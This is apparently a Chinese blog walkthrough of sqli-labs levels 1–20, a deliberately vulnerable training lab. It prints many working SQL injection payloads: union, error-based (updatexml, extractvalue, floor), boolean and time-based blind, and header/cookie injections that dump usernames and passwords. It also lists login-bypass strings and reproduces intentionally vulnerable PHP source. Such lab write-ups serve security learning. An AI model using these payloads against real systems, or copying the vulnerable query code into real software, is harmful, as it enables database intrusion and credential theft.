当前位置:网站首页>DAY22:sqli-labs 靶场通关wp(Less01~~Less20)
DAY22:sqli-labs 靶场通关wp(Less01~~Less20)
2022-08-05 02:07:00 【EdmunDJK】
sqli-labs 靶场通关wp
第一部分、SQLi-LABS Page-1*(Basic Challenges)*
Less-1、GET - Error based - Single quotes - String (基于错误的GET单引号字符型注入)
题目说明请输入 id 并赋值,那么我们对 url 进行编写
http://192.168.71.128:8081/Less-1/?id=1

看到了基础用户信息,我们就要来判断注入类型啦
http://192.168.71.128:8081/Less-1/?id=1 and 1=1
http://192.168.71.128:8081/Less-1/?id=1 and 1=2
http://192.168.71.128:8081/Less-1/?id=1' and '1'='1
http://192.168.71.128:8081/Less-1/?id=1' and '1'='2
在尝试完上述指令后发现为字符型注入,即 id=1’ and ‘1’='2 时页面无回显,那么此时我们已经知道了注入类型为字符型,我们就可以开始进行 SQL注入
首先判断字段数
http://192.168.71.128:8081/Less-1/?id=1' order by 3 --+
http://192.168.71.128:8081/Less-1/?id=1' order by 4 --+

这里可以看出字段数为3
那么接下来可以进行数据库注入了,使用联合查询,判断注入回显位(注意此时我们需要将union前置空,否则页面将正常回显,不会输出union后指令)
http://192.168.71.128:8081/Less-1/?id=-1' union select 1,2,3 --+

发现回显位置为图中的2,3点位,此时我们可以将数据库的名称、版本或时间回显出来
http://192.168.71.128:8081/Less-1/?id=-1' union select 1,database(),3 --+
爆出数据库名称为 security,对此数据中表查询
http://192.168.71.128:8081/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
我们可以得出security中的内容

数据为 emails,referers,uagents,users,当然我们需要的是 users 的所有信息,所以我们查找 users 表中的内容

http://192.168.71.128:8081/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
出现 id,username,password ,我们需要知道他的数据

http://192.168.71.128:8081/Less-1/?id=-1' union select 1,group_concat(id,'~~',username,'~~',password),3 from security.users --+
id , username , password 均已查出
Less-2、GET - Error based - Intiger based (基于错误的GET整型注入)
老样子,判断是字符型还是整数型注入
http://192.168.71.128:8081/Less-2/?id=1 and 1=1
http://192.168.71.128:8081/Less-2/?id=1 and 1=2
http://192.168.71.128:8081/Less-2/?id=1' and '1'='1
http://192.168.71.128:8081/Less-2/?id=1' and '1'='2

可以看出是整数型注入
接着进行字段数的查询
http://192.168.71.128:8081/Less-2/?id=1 order by 3 --+
不难看出他的字段数是3,对回显位置进行查看
http://192.168.71.128:8081/Less-2/?id=-1 union select 1,2,3 --+
回显位置依旧是 2,3,常规操作,对数据库名称,时间,版本均可查询,这里需要使用到数据库名称

还是security,剩余跟上述一样这里只放代码与结果图
http://192.168.71.128:8081/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
Your Password:emails,referers,uagents,users
http://192.168.71.128:8081/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
Your Password:id,username,password
http://192.168.71.128:8081/Less-2/?id=-1 union select 1,2,group_concat(id,'~',username,'~',password) from security.users--+
结果图:

Less-3 GET - Error based - Single quotes with twist - string (基于错误的GET单引号变形字符型注入)
首先查看源代码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-3 Error Based- String (with Twist) </title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-3.jpg" /></center>
</body>
</html>
我们查看源代码可以看到此时对闭合做了处理,我们可以对其括号闭合修改
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

http://192.168.71.128:8081/Less-3/?id=1')order by 3 --+
只是对 在URL:id=1 处修改为 id=1’) 其余操作照旧,字段数为3,回显位置为2,3 这里放出代码与最终结果图
http://192.168.71.128:8081/Less-3/?id=-1') union select 1,2,3 --+
对数据库名称查询,结果为 security
http://192.168.71.128:8081/Less-3/?id=-1') union select 1,2,database() --+
对 security 中的表进行查询,结果为 Your Password:emails,referers,uagents,users
http://192.168.71.128:8081/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
对 users 中的列查询,结果为 Your Password:id,username,password
http://192.168.71.128:8081/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
对表中的字段 id,username,password 查询 ,结果如下图
http://192.168.71.128:8081/Less-3/?id=-1') union select 1,2,group_concat(id,'~',username,'~',password) from security.users --+

Less-4、GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
查看源代码,大部分一样,只取我们所需要知道的
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
可以看出这条语句中进行了双引号闭合处理,我们这样进行闭合处理
http://192.168.71.128:8081/Less-4/?id=-1") union select 1,2,3 --+
其余与上面一样最终代码,与结果图如下:
http://192.168.71.128:8081/Less-4/?id=-1") union select 1,2,group_concat(id,'~',username,'~',password) from security.users --+

Less-5、GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
源代码为
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-5 Double Query- Single Quotes- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-5.jpg" /></center>
</body>
</html>

这里我们可以考虑进行报错注入,当然不仅仅于此,还可以进行盲注。在输入?id=1时出现You are in......格式当输入?id=1'时出现报错

当写入判断注入类型时,页面又返回到You are in...

由此页面有报错无回显,可以使用报错注入。有三种类型floor报错、updatexml报错、extractvalue报错,这里我们都演示一下

http://192.168.71.128:8081/Less-5/?id=1' and (select 1 from (select count(*),concat('~',(select database()),'~',floor(rand(0)*2))as a from information_schema.tables group by a)b) --+
通过上面这段话可以进行爆出数据库的名称,注意报错回显会有限制,所以可以进行limit 0,1来一个一个判断
接下来我们要报出表名,使用limit 0,1依次进行报表名

http://192.168.71.128:8081/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(table_name) from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x )a) --+
表名已经出来了,我们需要爆出里面的字段名,利用limit 0,1可以达到效果,发现里面有三个字段id、username、password


http://192.168.71.128:8081/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
字段名出来了,我们需要报出里面的内容
http://192.168.71.128:8081/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(password) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

对此进行一系列的limit 0,1依次递增,那么可以进行内容检索,成功
第二种方法:extractvalue报错
爆出来数据库名称:

http://192.168.71.128:8081/Less-5/?id=1' and extractvalue(1,concat('~',(select database()))) --+
报表:

http://192.168.71.128:8081/Less-5/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1))) --+
报字段:

http://192.168.71.128:8081/Less-5/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1))) --+
报出id、password、username
报字段内容:

因为里面有三个字段,我们需要修改select后面的内容,并且使用limit限制搜索
username
http://192.168.71.128:8081/Less-5/?id=1' and extractvalue(1,concat('~',(select username from users limit 0,1)) ) --+
id
http://192.168.71.128:8081/Less-5/?id=1' and extractvalue(1,concat('~',(select id from users limit 0,1)) ) --+
password
http://192.168.71.128:8081/Less-5/?id=1' and extractvalue(1,concat('~',(select password from users limit 0,1)) ) --+
成功
第三种:updatexml报错
查询数据库:

http://192.168.71.128:8081/Less-5/?id=1' and updatexml(1,concat('~',(select database())),1) --+
查询表名:

http://192.168.71.128:8081/Less-5/?id=1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1)),1) --+
查询字段名:

http://192.168.71.128:8081/Less-5/?id=1' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1)),1) --+
查询字段内容:

http://192.168.71.128:8081/Less-5/?id=1' and updatexml(1,concat('~',(select username from security.users limit 1,1)),1) --+
http://192.168.71.128:8081/Less-5/?id=1' and updatexml(1,concat('~',(select id from security.users limit 1,1)),1) --+
http://192.168.71.128:8081/Less-5/?id=1' and updatexml(1,concat('~',(select password from security.users limit 1,1)),1) --+
Less-6、 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
经过简单的判断,可以看出这是"闭合的语句,字符型注入。其他同上关


Less-8、GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
首先简单测试一下发现没有回显,只有正确时的You are in...

输入单引号无回显,来判断到底是不是字符型


确定为字符型盲注。这里也可以进行报错注入,盲注来开个头猜解数据库。

看出数据库长度大于 10 .
http://192.168.71.128:8081/Less-8/?id=1' and length(database())>10--+

这样看出长度为 8 .这里运用脚本跑出库内的表名,字段,字段内容


完毕
Less-9、 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
经过简单的检测,普通检测看不了任何显示,发现时间盲注可以进行,所以开始爆



利用网上找的脚本爆出库名,下来进行经验猜表,利用此payload
and if (substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(1),1) --+

最后都懂的,依靠 “经验” 猜出了表名。
http://192.168.71.128:8081/Less-9/?id=1' and if (substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,5)='users',sleep(3),1) --+

然后又通过经验,猜出了字段名,一个一个试,时间特别长,这里不演示过程了
http://192.168.71.128:8081/Less-9/?id=1' and if (substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,8)='username',sleep(3),1) --+

http://192.168.71.128:8081/Less-9/?id=1' and if (substr((select username from security.users limit 1,1),1,1)='a',sleep(3),1) --+

最后一个一个开搞就好啦
Less-10 、GET - Blind - Time based - double quotes (基于时间的双引号盲注)
经过简单检测还是不行,改为时间盲注,将第九关的payload用在第十关,发现换为双引号就可以了
http://192.168.71.128:8081/Less-10/?id=1" and if (substr((select username from security.users limit 1,1),1,1)='a',sleep(3),1) --+

Less-11、POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
有这种登陆界面,又有sql注入,这不直接万能密码登录
这里将我保存的万能密码发一下:
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1
"or"a"="a
')or('a'='a
")or("a"="a
'or 1=1--
"or 1=1--
'or"='
'or 1=1%00
'or 1=1/*
admin' or 1=1/*


既然万能密码都能用上了,是不是可以在 username处可以进行注入,明显的POST注入
打开bp进行抓包,看看输入的会回显到哪里

可以看到我们写入的数据在下方中显示出来了
发到 Repeater 进行 Go 传

发现字段数为2,3为空,那么可以进行回显位的判断

进行常规的操作

uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+ &passwd=123456&submit=Submit
爆 users 字段
uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+ &passwd=123456&submit=Submit

爆内容
uname=0' union select 1,group_concat(id,'~',username,'~',password,) from security.users --+ &passwd=123456&submit=Submit

成功
Less-12、POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
简单测试,还是 POST 注入,抓包发到 Repeater 模块,进行修改看 render。
发现只要将前面的第 11 关的admin'改为admin")发现可以成功,取余同上
uname=-1") union select 1,group_concat(id,username,password) from security.users --+&passwd=admin&submit=Submit

Less-13、POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
简单判断发现是单引号闭合,发现页面无回显,有报错,这里考虑进行报错注入

爆库
uname=-1') and updatexml(1,concat('~',(select database())),1) --+ &passwd=admin&submit=Submit

爆表
uname=-1')and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1)),1) --+ &passwd=admin&submit=Submit

爆字段内容,这里只展示一个,通过修改limit 1,1来看其他的内容
uname=-1')and updatexml(1,concat('~',(select password from security.users limit 1,1)),1) --++ &passwd=admin&submit=Submit

Less-14、POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
一系列检测发现进行sleep(5)判断闭合发现为"闭合
老样子直接报错注入

将-1')改为-1"即可成功
其余同上关
less-15、POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
使用万能密码进入
admin' or '1' ='1 --+

为单引号闭合,无报错,无回显,采用时间盲注,这里可能是我环境问题,时间盲注没有延迟,所以进行布尔盲注
uname=admin' and length(database())=8--+ &passwd=admin&submit=Submit
数据库长度为8,接着只要修改原来的参数就可以获取数据

这玩意做就对了
uname=admin' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+ &passwd=admin&submit=Submit

成功,一个一个试,直到字段内容的爆出即可
uname=admin' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,2)='id'--+ &passwd=admin&submit=Submit

剩余就不操作了
Less-16、POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
与15关相同关闭了报错提示,但可以根据页面的回显来判断
经过检测,闭合方式为双引号括号"),依旧是可以进行布尔盲注和时间盲注,遇上关一样
Less-17、POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
经过测试,写入admin,admin 显示密码更新成功,所以想到密码处注入,最后测试得'单引号闭合,注入位置密码,所以其余跟上关一样,还可以进行报错注入

Less-18、POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
进入页面显示 address



看源码确实是在 User-Agent 修改,在uagent的地方,直接进行了获取,直接进行了输出
进行了数据库的写入,发现是单引号的闭合
注入 UA,发现回显为输入内容,有报错回显,直接进行报错注入
同上
Less-19、POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
和上面比较相似,只不过是在referer处的回显

出现报错,其余同上


1' and extractvalue(1,concat(0x7e,(database()),0x7e)) and '
Less-20、POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
登陆进去出现这个情况,抓包看到有个Cookie,一下就能想到在Cookie处注入

输入单引号发现有报错回显,考虑进行报错注入,成功
边栏推荐
- 释放技术创新引擎,英特尔携手生态合作伙伴推动智慧零售蓬勃发展
- 多线程(2)
- PHP Skills Assessment
- 记录谷歌gn编译时碰到的一个错误“I could not find a “.gn“ file ...”
- 汇编语言之源程序
- Leetcode brushing questions - 22. Bracket generation
- 1349. 参加考试的最大学生数 状态压缩
- 直播回放含 PPT 下载|基于 Flink & DeepRec 构建 Online Deep Learning
- Dotnet 6 Why does the network request not follow the change of the system network proxy and dynamically switch the proxy?
- How to simply implement the quantization and compression of the model based on the OpenVINO POT tool
猜你喜欢

Flink 1.15.1 集群搭建(StandaloneSession)

如何逐步执行数据风险评估
![[How to smash wool according to the music the couple listens to during the Qixi Festival] Does the background music affect the couple's choice of wine?](/img/eb/535ffaff9b535fbc73a4d56aab0b3a.png)
[How to smash wool according to the music the couple listens to during the Qixi Festival] Does the background music affect the couple's choice of wine?

程序员失眠时的数羊列表 | 每日趣闻

Use of pytorch: Convolutional Neural Network Module

【MySQL series】- Does LIKE query start with % will make the index invalid?

高数_复习_第1章:函数、极限、连续

使用OpenVINO实现飞桨版PGNet推理程序

使用SuperMap iDesktopX数据迁移工具迁移ArcGIS数据

js中try...catch和finally的用法
随机推荐
释放技术创新引擎,英特尔携手生态合作伙伴推动智慧零售蓬勃发展
Flink 1.15.1 集群搭建(StandaloneSession)
散列表的查找(哈希表)
Apache DolphinScheduler新一代分布式工作流任务调度平台实战-中
Simple implementation of YOLOv7 pre-training model deployment based on OpenVINO toolkit
MySQL learning
Leetcode刷题——22. 括号生成
source program in assembly language
PHP技能评测
迁移学习——Distant Domain Transfer Learning
【PyQT5 绑定函数的传参】
EBS利用虚拟列及hint 提示优化sql案例一则
Programmer's list of sheep counting when insomnia | Daily anecdote
开篇-开启全新的.NET现代应用开发体验
HOG特征学习笔记
Object.defineProperty实时监听数据变化并更新页面
Transfer Learning - Distant Domain Transfer Learning
PHP Skills Assessment
金仓数据库 KingbaseES V8 GIS数据迁移方案(3. 基于ArcGIS平台的数据迁移到KES)
Dotnet 6 Why does the network request not follow the change of the system network proxy and dynamically switch the proxy?